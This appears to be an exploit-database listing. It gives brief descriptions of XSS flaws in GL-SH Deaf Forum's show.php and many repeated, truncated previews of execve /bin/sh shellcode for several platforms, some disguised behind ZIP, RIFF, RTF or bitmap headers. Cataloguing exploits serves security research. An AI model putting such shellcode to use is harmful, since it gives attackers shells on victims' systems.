CVE-2006-3246

CVE-2006-3246 describes a stored/reflected XSS in GL-SH Deaf Forum 6.4.3 and earlier, exploitable via the sort parameter in show.php. Impact: attacker can inject arbitrary script/HTML. Root cause: insufficient input sanitization for the sort parameter. Public remediation details are not provided ...

CVE-2006-3247

Multiple cross-site scripting XSS vulnerabilities in show.php in GL-SH Deaf Forum 6.4.3 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 search, 2 page, and 3 action parameters. NOTE: the provenance of this information is unknown; the details are obtained solely...

CVE-2006-3247

CVE-2006-3247 describes multiple cross-site scripting (XSS) vulnerabilities in the GL-SH Deaf Forum’s show.php (versions 6.4.3 and earlier). The flaws allow remote attackers to inject arbitrary script/HTML via the (1) search, (2) page, and (3) action parameters. The NVD entry lists a low base CVS...

linux/x86 execve(/bin/sh) 24 bytes

No description provided by source. / Linux/x86 Shellcode for: execve"/bin/sh", "/bin/sh", NULL 24 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / char shellcode = "\x99" // cltd "\x31\xc0" // xor %eax,%eax "\x52" // push %edx "\x68\x6e\x2f\x73\x68" // push $0x68732f6e...

linux/x86 - execve/bin/sh 24 bytes

linux/x86 execve/bin/sh 24 bytes. Shellcode exploit for linx86 platform / Linux/x86 Shellcode for: execve"/bin/sh", "/bin/sh", NULL 24 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / char shellcode = "\x99" // cltd "\x31\xc0" // xor %eax,%eax "\x52" // push %edx "\x68\x6e\x2f\x73\x68"...

os-x/ppc execve(/bin/sh), exit() 72 bytes

Exploit for os-x/ppc platform in category shellcode ========================================= os-x/ppc execve/bin/sh, exit 72 bytes ========================================= / MacOSX/PowerPC Shellcode for: execve"/bin/sh", "/bin/sh", NULL, exit 72 bytes / include include char shellcode =...

openbsd/x86 execve(/bin/sh) 23 bytes

Exploit for openbsd/x86 platform in category shellcode ==================================== openbsd/x86 execve/bin/sh 23 bytes ==================================== / OpenBSD/x86 Shellcode for: execve"/bin/sh", "/bin/sh", NULL 23 bytes / include include include include include include include...

linux/x86 execve(/bin/sh) 24 bytes

Exploit for linux/x86 platform in category shellcode ================================== linux/x86 execve/bin/sh 24 bytes ================================== / Linux/x86 Shellcode for: execve"/bin/sh", "/bin/sh", NULL 24 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / char shellcode =...

Solaris 9 (sparc) : 118535-06

SunOS 5.9: sh/jsh/rsh/pfsh Patch. Date this patch was last updated by Sun : Aug/17/09 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc'; include'compat.inc'; if description...

linux/x86 execve(/bin/sh) + ZIP Header 28 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + ZIP Header - 28 bytes root@magicbox: file linux-sh-ziphdr.bin linux-sh-ziphdr.bin: Zip archive data - izik [email protected] / char shellcode = // // ZIP Header 5 bytes // "\x50" // push %eax "\x4b" // dec %ebx...

linux/x86 execve(/bin/sh) + RIFF Header 28 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes root@magicbox: file linux-sh-riffhdr.bin linux-sh-riffhdr.bin: RIFF little-endian data - izik [email protected] / char shellcode = // // RIFF Header 5 bytes // "\x52" // push %edx "\x49" // dec...

linux/x86 - execve/bin/sh + RIFF Header 28 bytes

linux/x86 execve/bin/sh + RIFF Header 28 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes root@magicbox: file linux-sh-riffhdr.bin linux-sh-riffhdr.bin: RIFF little-endian data - izik / char shellcode = // // RIFF Header 5 bytes ...

linux/x86 execve(/bin/sh) + RIFF Header 28 bytes

Exploit for linux/x86 platform in category shellcode ================================================ linux/x86 execve/bin/sh + RIFF Header 28 bytes ================================================ / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes email protected: file...

linux/x86 execve(/bin/sh) + RTF Header 30 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RTF header - 30 bytes root@magicbox: file linux-sh-rtfhdr.bin linux-sh-rtfhdr.bin: Rich Text Format data, version 1, - izik [email protected] / char shellcode = // // RTF Header 7 bytes // - Be careful not to trigger...

linux/x86 - execve/bin/sh + ZIP Header 28 bytes

linux/x86 execve/bin/sh + ZIP Header 28 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + ZIP Header - 28 bytes root@magicbox: file linux-sh-ziphdr.bin linux-sh-ziphdr.bin: Zip archive data - izik / char shellcode = // // ZIP Header 5 bytes // "\x50" //...

linux/x86 - execve/bin/sh + RTF Header 30 bytes

linux/x86 execve/bin/sh + RTF Header 30 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RTF header - 30 bytes root@magicbox: file linux-sh-rtfhdr.bin linux-sh-rtfhdr.bin: Rich Text Format data, version 1, - izik / char shellcode = // // RTF Header 7...

linux/x86 execve(/bin/sh) + ZIP Header 28 bytes

Exploit for linux/x86 platform in category shellcode =============================================== linux/x86 execve/bin/sh + ZIP Header 28 bytes =============================================== / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + ZIP Header - 28 bytes email protected: file...

linux/x86 - execve/bin/sh + Bitmap Header 27 bytes

linux/x86 execve/bin/sh + Bitmap Header 27 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + Bitmap 24bit Header - 27 bytes root@magicbox: file linux-sh-bm24bhdr.bin linux-sh-bm24bhdr.bin: PC bitmap data - izik / char shellcode = // // Bitmap 24bit Head...

freebsd/x86 execve /bin/sh 23 bytes

Exploit for freebsd/x86 platform in category shellcode =================================== freebsd/x86 execve /bin/sh 23 bytes =================================== / FreeBSDx86-execvesh-23b-iZ.c Shellcode, execve /bin/sh, 23 bytes by IZ / char setreuidcode = "\x31\xc0" / xor %eax,%eax / "\x50" /...

freebsd/x86 - execve /bin/sh 23 bytes

freebsd/x86 execve /bin/sh 23 bytes. Shellcode exploit for freebsdx86 platform / FreeBSDx86-execvesh-23b-iZ.c Shellcode, execve /bin/sh, 23 bytes by IZ / char setreuidcode = "\x31\xc0" / xor %eax,%eax / "\x50" / push %eax / "\x68\x2f\x2f\x73\x68" / push $0x68732f2f //sh / "\x68\x2f\x62\x69\x6e" /...